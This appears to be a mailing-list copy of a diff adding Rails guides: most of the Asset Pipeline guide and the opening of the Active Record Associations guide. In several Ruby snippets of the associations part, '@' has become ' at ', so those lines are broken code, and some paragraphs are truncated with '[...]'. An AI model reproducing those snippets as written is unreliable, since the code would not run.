+* [Revving Filenames: don’t use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)
+
+
+How to Use the Asset Pipeline
+-----------------------------
+
+In previous versions of Rails, all assets were located in subdirectories of `public` such as `images`, `javascripts` and `stylesheets`. With the asset pipeline, the preferred location for these assets is now the `app/assets` directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem.
+
+Assets can still be placed in the `public` hierarchy. Any assets under `public` will be served as static files by the application or web server. You should use `app/assets` for files that must undergo some pre-processing before they are served.
+
+In production, Rails precompiles these files to `public/assets` by default. The precompiled copies are then served as static assets by the web server. The files in `app/assets` are never served directly in production.
+
+### Controller Specific Assets
+
+When you generate a scaffold or a controller, Rails also generates a JavaScript file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`) for that controller.
+
+For example, if you generate a `ProjectsController`, Rails will also add a new file at `app/assets/javascripts/projects.js.coffee` and another at `app/assets/stylesheets/projects.css.scss`. By default these files will be ready to use by your application immediately using the `require_tree` directive. See [Manifest Files and Directives](#manifest-files-and-directives) for more details on require_tree.
+
+You can also opt to include controller specific stylesheets and JavaScript files only in their respective controllers using the following: `<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag params[:controller] %>`. Ensure that you are not using the `require_tree` directive though, as this will result in your assets being included more than once.
+
+WARNING: When using asset precompilation (the production default), you will need to ensure that your controller assets will be precompiled when loading them on a per page basis. By default .coffee and .scss files will not be precompiled on their own. This will result in false positives during development as these files will work just fine since assets will be compiled on the fly. When running in production however, you will see 500 errors since live compilation is turned off by default. [...]
+
+NOTE: You must have an ExecJS supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check [ExecJS](https://github.com/sstephenson/execjs#readme) documentation to know all supported JavaScript runtimes.
+
+You can also disable the generation of asset files when generating a controller by adding the following to your `config/application.rb` configuration:
+
+```ruby
+config.generators do |g|
+ g.assets false
+end
+```
+
+### Asset Organization
+
+Pipeline assets can be placed inside an application in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`.
+
+* `app/assets` is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets.
+
+* `lib/assets` is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications.
+
+* `vendor/assets` is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks.
+
+#### Search Paths
+
+When a file is referenced from a manifest or a helper, Sprockets searches the three default asset locations for it.
+
+The default locations are: `app/assets/images` and the subdirectories `javascripts` and `stylesheets` in all three asset locations, but these subdirectories are not special. Any path under `assets/*` will be searched.
+
+For example, these files:
+
+```
+app/assets/javascripts/home.js
+lib/assets/javascripts/moovinator.js
+vendor/assets/javascripts/slider.js
+vendor/assets/somepackage/phonebox.js
+```
+
+would be referenced in a manifest like this:
+
+```js
+//= require home
+//= require moovinator
+//= require slider
+//= require phonebox
+```
+
+Assets inside subdirectories can also be accessed.
+
+```
+app/assets/javascripts/sub/something.js
+```
+
+is referenced as:
+
+```js
+//= require sub/something
+```
+
+You can view the search path by inspecting `Rails.application.config.assets.paths` in the Rails console.
+
+Besides the standard `assets/*` paths, additional (fully qualified) paths can be added to the pipeline in `config/application.rb`. For example:
+
+```ruby
+config.assets.paths << Rails.root.join("lib", "videoplayer", "flash")
+```
+
+Paths are traversed in the order that they occur in the search path. By default, this means the files in `app/assets` take precedence, and will mask corresponding paths in `lib` and `vendor`.
+
+It is important to note that files you want to reference outside a manifest must be added to the precompile array or they will not be available in the production environment.
+
+#### Using Index Files
+
+Sprockets uses files named `index` (with the relevant extensions) for a special purpose.
+
+For example, if you have a jQuery library with many modules, which is stored in `lib/assets/library_name`, the file `lib/assets/library_name/index.js` serves as the manifest for all files in this library. This file could include a list of all the required files in order, or a simple `require_tree` directive.
+
+The library as a whole can be accessed in the site's application manifest like so:
+
+```js
+//= require library_name
+```
+
+This simplifies maintenance and keeps things clean by allowing related code to be grouped before inclusion elsewhere.
+
+### Coding Links to Assets
+
+Sprockets does not add any new methods to access your assets - you still use the familiar `javascript_include_tag` and `stylesheet_link_tag`.
+
+```erb
+<%= stylesheet_link_tag "application" %>
+<%= javascript_include_tag "application" %>
+```
+
+In regular views you can access images in the `assets/images` directory like this:
+
+```erb
+<%= image_tag "rails.png" %>
+```
+
+Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at `public/assets/rails.png` it is served by the web server.
+
+Alternatively, a request for a file with an MD5 hash such as `public/assets/rails-af27b6a414e6da00003503148be9b409.png` is treated the same way. How these hashes are generated is covered in the [In Production](#in-production) section later on in this guide.
+
+Sprockets will also look through the paths specified in `config.assets.paths` which includes the standard application paths and any path added by Rails engines.
+
+Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag:
+
+```erb
+<%= image_tag "icons/rails.png" %>
+```
+
+WARNING: If you're precompiling your assets (see [In Production](#in-production) below), linking to an asset that does not exist will raise an exception in the calling page. This includes linking to a blank string. As such, be careful using `image_tag` and the other helpers with user-supplied data.
+
+#### CSS and ERB
+
+The asset pipeline automatically evaluates ERB. This means that if you add an `erb` extension to a CSS asset (for example, `application.css.erb`), then helpers like `asset_path` are available in your CSS rules:
+
+```css
+.class { background-image: url(<%= asset_path 'image.png' %>) }
+```
+
+This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as `app/assets/images/image.png`, which would be referenced here. If this image is already available in `public/assets` as a fingerprinted file, then that path is referenced.
+
+If you want to use a [data URI](http://en.wikipedia.org/wiki/Data_URI_scheme) — a method of embedding the image data directly into the CSS file — you can use the `asset_data_uri` helper.
+
+```css
+#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
+```
+
+This inserts a correctly-formatted data URI into the CSS source.
+
+Note that the closing tag cannot be of the style `-%>`.
+
+#### CSS and Sass
+
+When using the asset pipeline, paths to assets must be re-written and `sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet.
+
+* `image-url("rails.png")` becomes `url(/assets/rails.png)`
+* `image-path("rails.png")` becomes `"/assets/rails.png"`.
+
+The more generic form can also be used but the asset path and class must both be specified:
+
+* `asset-url("rails.png", image)` becomes `url(/assets/rails.png)`
+* `asset-path("rails.png", image)` becomes `"/assets/rails.png"`
+
+#### JavaScript/CoffeeScript and ERB
+
+If you add an `erb` extension to a JavaScript asset, making it something such as `application.js.erb`, then you can use the `asset_path` helper in your JavaScript code:
+
+```js
+$('#logo').attr({
+ src: "<%= asset_path('logo.png') %>"
+});
+```
+
+This writes the path to the particular asset being referenced.
+
+Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb` extension (e.g., `application.js.coffee.erb`):
+
+```js
+$('#logo').attr src: "<%= asset_path('logo.png') %>"
+```
+
+### Manifest Files and Directives
+
+Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ — instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if `Rails.application.config.assets.compress` is true). By serving one file rather than many, the load time o [...]
+
+
+For example, a new Rails application includes a default `app/assets/javascripts/application.js` file which contains the following lines:
+
+```js
+// ...
+//= require jquery
+//= require jquery_ujs
+//= require_tree .
+```
+
+In JavaScript files, the directives begin with `//=`. In this case, the file is using the `require` and the `require_tree` directives. The `require` directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a `.js` file when done from within a `.js` file.
+
+The `require_tree` directive tells Sprockets to recursively include _all_ JavaScript files in the specified directory into the output. These paths must be specified relative to the manifest file. You can also use the `require_directory` directive which includes all JavaScript files only in the directory specified, without recursion.
+
+Directives are processed top to bottom, but the order in which files are included by `require_tree` is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other in the concatenated file, require the prerequisite file first in the manifest. Note that the family of `require` directives prevents files from being included twice in the output.
+
+Rails also creates a default `app/assets/stylesheets/application.css` file which contains these lines:
+
+```js
+/* ...
+*= require_self
+*= require_tree .
+*/
+```
+
+The directives that work in the JavaScript files also work in stylesheets (though obviously including stylesheets rather than JavaScript files). The `require_tree` directive in a CSS manifest works the same way as the JavaScript one, requiring all stylesheets from the current directory.
+
+In this example `require_self` is used. This puts the CSS contained within the file (if any) at the precise location of the `require_self` call. If `require_self` is called more than once, only the last call is respected.
+
+NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import) instead of these Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in.
+
+You can have as many manifest files as you need. For example the `admin.css` and `admin.js` manifest could contain the JS and CSS files that are used for the admin section of an application.
+
+The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified. For example, you might concatenate three CSS files together this way:
+
+```js
+/* ...
+*= require reset
+*= require layout
+*= require chrome
+*/
+```
+
+
+### Preprocessing
+
+The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an `app/assets/javascripts/projects.js.coffee` and an `app/assets/stylesheets/projects.css.scss` file.
+
+When these files are requested, they are processed by the processors provided by the `coffee-script` and `sass` gems and then sent back to the browser as JavaScript and CSS respectively.
+
+Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called `app/assets/stylesheets/projects.css.scss.erb` is first processed as ERB, then SCSS, and finally served as CSS. The same applies to a JavaScript file — `app/assets/javascripts/projects.js.coffee.erb` is processed as ERB, then CoffeeScript, and served [...]
+
+Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file `app/assets/javascripts/projects.js.erb.coffee` then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems.
+
+In Development
+--------------
+
+In development mode, assets are served as separate files in the order they are specified in the manifest file.
+
+This manifest `app/assets/javascripts/application.js`:
+
+```js
+//= require core
+//= require projects
+//= require tickets
+```
+
+would generate this HTML:
+
+```html
+<script src="/assets/core.js?body=1"></script>
+<script src="/assets/projects.js?body=1"></script>
+<script src="/assets/tickets.js?body=1"></script>
+```
+
+The `body` param is required by Sprockets.
+
+### Turning Debugging Off
+
+You can turn off debug mode by updating `config/environments/development.rb` to include:
+
+```ruby
+config.assets.debug = false
+```
+
+When debug mode is off, Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead:
+
+```html
+<script src="/assets/application.js"></script>
+```
+
+Assets are compiled and cached on the first request after the server is started. Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request overhead on subsequent requests — on these the browser gets a 304 (Not Modified) response.
+
+If any of the files in the manifest have changed between requests, the server responds with a new compiled file.
+
+Debug mode can also be enabled in the Rails helper methods:
+
+```erb
+<%= stylesheet_link_tag "application", debug: true %>
+<%= javascript_include_tag "application", debug: true %>
+```
+
+The `:debug` option is redundant if debug mode is on.
+
+You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging.
+
+In Production
+-------------
+
+In the production environment Rails uses the fingerprinting scheme outlined above. By default Rails assumes that assets have been precompiled and will be served as static assets by your web server.
+
+During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name.
+
+For example this:
+
+```erb
+<%= javascript_include_tag "application" %>
+<%= stylesheet_link_tag "application" %>
+```
+
+generates something like this:
+
+```html
+<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script>
+<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" />
+```
+
+Note: with the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from the `javascript_include_tag` and `stylesheet_link_tag`.
+
+
+The fingerprinting behavior is controlled by the setting of `config.assets.digest` setting in Rails (which defaults to `true` for production and `false` for everything else).
+
+NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes.
+
+### Precompiling Assets
+
+Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk.
+
+Compiled assets are written to the location specified in `config.assets.prefix`. By default, this is the `public/assets` directory.
+
+You can call this task on the server during deployment to create compiled versions of your assets directly on the server. See the next section for information on compiling locally.
+
+The rake task is:
+
+```bash
+$ bundle exec rake assets:precompile
+```
+
+For faster asset precompiles, you can partially load your application by setting
+`config.assets.initialize_on_precompile` to false in `config/application.rb`, though in that case templates
+cannot see application objects or methods. **Heroku requires this to be false.**
+
+WARNING: If you set `config.assets.initialize_on_precompile` to false, be sure to
+test `rake assets:precompile` locally before deploying. It may expose bugs where
+your assets reference application objects or methods, since those are still
+in scope in development mode regardless of the value of this flag. Changing this flag also affects
+engines. Engines can define assets for precompilation as well. Since the complete environment is not loaded,
+engines (or other gems) will not be loaded, which can cause missing assets.
+
+Capistrano (v2.8.0 and above) includes a recipe to handle this in deployment. Add the following line to `Capfile`:
+
+```ruby
+load 'deploy/assets'
+```
+
+This links the folder specified in `config.assets.prefix` to `shared/assets`. If you already use this shared folder you'll need to write your own deployment task.
+
+It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page.
+
+NOTE. If you are precompiling your assets locally, you can use `bundle install --without assets` on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile).
+
+The default matcher for compiling files includes `application.js`, `application.css` and all non-JS/CSS files (this will include all image assets automatically):
+
+```ruby
+[ Proc.new { |path| !%w(.js .css).include?(File.extname(path)) }, /application.(css|js)$/ ]
+```
+
+NOTE. The matcher (and other members of the precompile array; see below) is applied to final compiled file names. This means that anything that compiles to JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and `.scss` files are **not** automatically included as they compile to JS/CSS.
+
+If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the `precompile` array:
+
+```ruby
+config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
+```
+
+Or you can opt to precompile all assets with something like this:
+
+```ruby
+# config/environments/production.rb
+config.assets.precompile << Proc.new do |path|
+ if path =~ /\.(css|js)\z/
+ full_path = Rails.application.assets.resolve(path).to_path
+ app_assets_path = Rails.root.join('app', 'assets').to_path
+ if full_path.starts_with? app_assets_path
+ puts "including asset: " + full_path
+ true
+ else
+ puts "excluding asset: " + full_path
+ false
+ end
+ else
+ false
+ end
+end
+```
+
+NOTE. Always specify an expected compiled filename that ends with js or css, even if you want to add Sass or CoffeeScript files to the precompile array.
+
+The rake task also generates a `manifest.yml` that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like:
+
+```yaml
+---
+rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png
+jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js
+jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js
+application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js
+application.css: application-8af74128f904600e41a6e39241464e03.css
+```
+
+The default location for the manifest is the root of the location specified in `config.assets.prefix` ('/assets' by default).
+
+NOTE: If there are missing precompiled files in production you will get an `Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError` exception indicating the name of the missing file(s).
+
+#### Far-future Expires Header
+
+Precompiled assets exist on the filesystem and are served directly by your web server. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them.
+
+For Apache:
+
+```apache
+# The Expires* directives requires the Apache module `mod_expires` to be enabled.
+<Location /assets/>
+ # Use of ETag is discouraged when Last-Modified is present
+ Header unset ETag
+ FileETag None
+ # RFC says only cache for 1 year
+ ExpiresActive On
+ ExpiresDefault "access plus 1 year"
+</Location>
+```
+
+For nginx:
+
+```nginx
+location ~ ^/assets/ {
+ expires 1y;
+ add_header Cache-Control public;
+
+ add_header ETag "";
+ break;
+}
+```
+
+#### GZip Compression
+
+When files are precompiled, Sprockets also creates a [gzipped](http://en.wikipedia.org/wiki/Gzip) (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compre [...]
+
+Nginx is able to do this automatically enabling `gzip_static`:
+
+```nginx
+location ~ ^/(assets)/ {
+ root /path/to/public;
+ gzip_static on; # to serve pre-gzipped version
+ expires max;
+ add_header Cache-Control public;
+}
+```
+
+This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even `nginx-light` have the module compiled. Otherwise, you may need to perform a manual compilation:
+
+```bash
+./configure --with-http_gzip_static_module
+```
+
+If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted.
+
+A robust configuration for Apache is possible but tricky; please Google around. (Or help update this Guide if you have a good example configuration for Apache.)
+
+### Local Precompilation
+
+There are several reasons why you might want to precompile your assets locally. Among them are:
+
+* You may not have write access to your production file system.
+* You may be deploying to more than one server, and want to avoid the duplication of work.
+* You may be doing frequent deploys that do not include asset changes.
+
+Local compilation allows you to commit the compiled files into source control, and deploy as normal.
+
+There are two caveats:
+
+* You must not run the Capistrano deployment task that precompiles assets.
+* You must change the following two application configuration settings.
+
+In `config/environments/development.rb`, place the following line:
+
+```ruby
+config.assets.prefix = "/dev-assets"
+```
+
+You will also need this in application.rb:
+
+```ruby
+config.assets.initialize_on_precompile = false
+```
+
+The `prefix` change makes Rails use a different URL for serving assets in development mode, and pass all requests to Sprockets. The prefix is still set to `/assets` in the production environment. Without this change, the application would serve the precompiled assets from `public/assets` in development, and you would not see any local changes until you compile assets again.
+
+The `initialize_on_precompile` change tells the precompile task to run without invoking Rails. This is because the precompile task runs in production mode by default, and will attempt to connect to your specified production database. Please note that you cannot have code in pipeline files that relies on Rails resources (such as the database) when compiling locally with this option.
+
+You will also need to ensure that any compressors or minifiers are available on your development system.
+
+In practice, this will allow you to precompile locally, have those files in your working tree, and commit those files to source control when needed. Development mode will work as expected.
+
+### Live Compilation
+
+In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly.
+
+To enable this option set:
+
+```ruby
+config.assets.compile = true
+```
+
+On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash.
+
+Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache.
+
+This mode uses more memory, performs more poorly than the default and is not recommended.
+
+If you are deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile:
+
+```ruby
+group :production do
+ gem 'therubyracer'
+end
+```
+
+### CDNs
+
+If your assets are being served by a CDN, ensure they don't stick around in
+your cache forever. This can cause problems. If you use
+`config.action_controller.perform_caching = true`, Rack::Cache will use
+`Rails.cache` to store assets. This can cause your cache to fill up quickly.
+
+Every cache is different, so evaluate how your CDN handles caching and make
+sure that it plays nicely with the pipeline. You may find quirks related to
+your specific set up, you may not. The defaults nginx uses, for example,
+should give you no problems when used as an HTTP cache.
+
+Customizing the Pipeline
+------------------------
+
+### CSS Compression
+
+There is currently one option for compressing CSS, YUI. The [YUI CSS compressor](http://developer.yahoo.com/yui/compressor/css.html) provides minification.
+
+The following line enables YUI compression, and requires the `yui-compressor` gem.
+
+```ruby
+config.assets.css_compressor = :yui
+```
+
+The `config.assets.compress` must be set to `true` to enable CSS compression.
+
+### JavaScript Compression
+
+Possible options for JavaScript compression are `:closure`, `:uglifier` and `:yui`. These require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems, respectively.
+
+The default Gemfile includes [uglifier](https://github.com/lautis/uglifier). This gem wraps [UglifierJS](https://github.com/mishoo/UglifyJS) (written for NodeJS) in Ruby. It compresses your code by removing white space. It also includes other optimizations such as changing your `if` and `else` statements to ternary operators where possible.
+
+The following line invokes `uglifier` for JavaScript compression.
+
+```ruby
+config.assets.js_compressor = :uglifier
+```
+
+Note that `config.assets.compress` must be set to `true` to enable JavaScript compression
+
+NOTE: You will need an [ExecJS](https://github.com/sstephenson/execjs#readme) supported runtime in order to use `uglifier`. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check the [ExecJS](https://github.com/sstephenson/execjs#readme) documentation for information on all of the supported JavaScript runtimes.
+
+### Using Your Own Compressor
+
+The compressor config settings for CSS and JavaScript also take any object. This object must have a `compress` method that takes a string as the sole argument and it must return a string.
+
+```ruby
+class Transformer
+ def compress(string)
+ do_something_returning_a_string(string)
+ end
+end
+```
+
+To enable this, pass a new object to the config option in `application.rb`:
+
+```ruby
+config.assets.css_compressor = Transformer.new
+```
+
+
+### Changing the _assets_ Path
+
+The public path that Sprockets uses by default is `/assets`.
+
+This can be changed to something else:
+
+```ruby
+config.assets.prefix = "/some_other_path"
+```
+
+This is a handy option if you are updating an older project that didn't use the asset pipeline and that already uses this path or you wish to use this path for a new resource.
+
+### X-Sendfile Headers
+
+The X-Sendfile header is a directive to the web server to ignore the response from the application, and instead serve a specified file from disk. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster.
+
+Apache and nginx support this option, which can be enabled in `config/environments/production.rb`.
+
+```ruby
+# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
+# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
+```
+
+WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into `production.rb` and any other environments you define with production behavior (not `application.rb`).
+
+Assets Cache Store
+------------------
+
+The default Rails cache store will be used by Sprockets to cache assets in development and production. This can be changed by setting `config.assets.cache_store`.
+
+```ruby
+config.assets.cache_store = :memory_store
+```
+
+The options accepted by the assets cache store are the same as the application's cache store.
+
+```ruby
+config.assets.cache_store = :memory_store, { :size => 32.megabytes }
+```
+
+Adding Assets to Your Gems
+--------------------------
+
+Assets can also come from external sources in the form of gems.
+
+A good example of this is the `jquery-rails` gem which comes with Rails as the standard JavaScript library gem. This gem contains an engine class which inherits from `Rails::Engine`. By doing this, Rails is informed that the directory for this gem may contain assets and the `app/assets`, `lib/assets` and `vendor/assets` directories of this engine are added to the search path of Sprockets.
+
+Making Your Library or Gem a Pre-Processor
+------------------------------------------
+
+As Sprockets uses [Tilt](https://github.com/rtomayko/tilt) as a generic
+interface to different templating engines, your gem should just
+implement the Tilt template protocol. Normally, you would subclass
+`Tilt::Template` and reimplement `evaluate` method to return final
+output. Template source is stored at `@code`. Have a look at
+[`Tilt::Template`](https://github.com/rtomayko/tilt/blob/master/lib/tilt/template.rb)
+sources to learn more.
+
+```ruby
+module BangBang
+ class Template < ::Tilt::Template
+ # Adds a "!" to original template.
+ def evaluate(scope, locals, &block)
+ "#{@code}!"
+ end
+ end
+end
+```
+
+Now that you have a `Template` class, it's time to associate it with an
+extension for template files:
+
+```ruby
+Sprockets.register_engine '.bang', BangBang::Template
+```
+
+Upgrading from Old Versions of Rails
+------------------------------------
+
+There are a few issues when upgrading. The first is moving the files from `public/` to the new locations. See [Asset Organization](#asset-organization) above for guidance on the correct locations for different file types.
+
+Next will be avoiding duplicate JavaScript files. Since jQuery is the default JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js` into `app/assets` and it will be included automatically.
+
+The third is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0.
+
+In `application.rb`:
+
+```ruby
+# Enable the asset pipeline
+config.assets.enabled = true
+
+# Version of your assets, change this if you want to expire all your assets
+config.assets.version = '1.0'
+
+# Change the path that assets are served from
+# config.assets.prefix = "/assets"
+```
+
+In `development.rb`:
+
+```ruby
+# Do not compress assets
+config.assets.compress = false
+
+# Expands the lines which load the assets
+config.assets.debug = true
+```
+
+And in `production.rb`:
+
+```ruby
+# Compress JavaScripts and CSS
+config.assets.compress = true
+
+# Choose the compressors to use
+# config.assets.js_compressor = :uglifier
+# config.assets.css_compressor = :yui
+
+# Don't fallback to assets pipeline if a precompiled asset is missed
+config.assets.compile = false
+
+# Generate digests for assets URLs.
+config.assets.digest = true
+
+# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+# config.assets.precompile += %w( search.js )
+```
+
+You should not need to change `test.rb`. The defaults in the test environment are: `config.assets.compile` is true and `config.assets.compress`, `config.assets.debug` and `config.assets.digest` are false.
+
+The following should also be added to `Gemfile`:
+
+```ruby
+# Gems used only for assets and not required
+# in production environments by default.
+group :assets do
+ gem 'sass-rails', "~> 3.2.3"
+ gem 'coffee-rails', "~> 3.2.1"
+ gem 'uglifier'
+end
+```
+
+If you use the `assets` group with Bundler, please make sure that your `config/application.rb` has the following Bundler require statement:
+
+```ruby
+if defined?(Bundler)
+ # If you precompile assets before deploying to production, use this line
+ Bundler.require *Rails.groups(:assets => %w(development test))
+ # If you want your assets lazily compiled in production, use this line
+ # Bundler.require(:default, :assets, Rails.env)
+end
+```
+
+Instead of the old Rails 3.0 version:
+
+```ruby
+# If you have a Gemfile, require the gems listed there, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(:default, Rails.env) if defined?(Bundler)
+```
diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md
new file mode 100644
index 0000000..8d203d2
--- /dev/null
+++ b/guides/source/association_basics.md
@@ -0,0 +1,2153 @@
+Active Record Associations
+==========================
+
+This guide covers the association features of Active Record.
+
+After reading this guide, you will know:
+
+* How to declare associations between Active Record models.
+* How to understand the various types of Active Record associations.
+* How to use the methods added to your models by creating associations.
+
+--------------------------------------------------------------------------------
+
+Why Associations?
+-----------------
+
+Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:
+
+```ruby
+class Customer < ActiveRecord::Base
+end
+
+class Order < ActiveRecord::Base
+end
+```
+
+Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:
+
+```ruby
+ at order = Order.create(order_date: Time.now, customer_id: @customer.id)
+```
+
+Or consider deleting a customer, and ensuring that all of its orders get deleted as well:
+
+```ruby
+ at orders = Order.where(customer_id: @customer.id)
+ at orders.each do |order|
+ order.destroy
+end
+ at customer.destroy
+```
+
+With Active Record associations, we can streamline these — and other — operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, dependent: :destroy
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+```
+
+With this change, creating a new order for a particular customer is easier:
+
+```ruby
+ at order = @customer.orders.create(order_date: Time.now)
+```
+
+Deleting a customer and all of its orders is *much* easier:
+
+```ruby
+ at customer.destroy
+```
+
+To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
+
+The Types of Associations
+-------------------------
+
+In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations:
+
+* `belongs_to`
+* `has_one`
+* `has_many`
+* `has_many :through`
+* `has_one :through`
+* `has_and_belongs_to_many`
+
+In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.
+
+### The `belongs_to` Association
+
+A `belongs_to` association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+```
+
+
+
+NOTE: `belongs_to` associations _must_ use the singular term. If you used the pluralized form in the above example for the `customer` association in the `Order` model, you would be told that there was an "uninitialized constant Order::Customers". This is because Rails automatically infers the class name from the association name. If the association name is wrongly pluralized, then the inferred class will be wrongly pluralized too.
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateOrders < ActiveRecord::Migration
+ def change
+ create_table :customers do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :orders do |t|
+ t.belongs_to :customer
+ t.datetime :order_date
+ t.timestamps
+ end
+ end
+end
+```
+
+### The `has_one` Association
+
+A `has_one` association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account
+end
+```
+
+
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateSuppliers < ActiveRecord::Migration
+ def change
+ create_table :suppliers do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :accounts do |t|
+ t.belongs_to :supplier
+ t.string :account_number
+ t.timestamps
+ end
+ end
+end
+```
+
+### The `has_many` Association
+
+A `has_many` association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a `belongs_to` association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+NOTE: The name of the other model is pluralized when declaring a `has_many` association.
+
+
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateCustomers < ActiveRecord::Migration
+ def change
+ create_table :customers do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :orders do |t|
+ t.belongs_to :customer
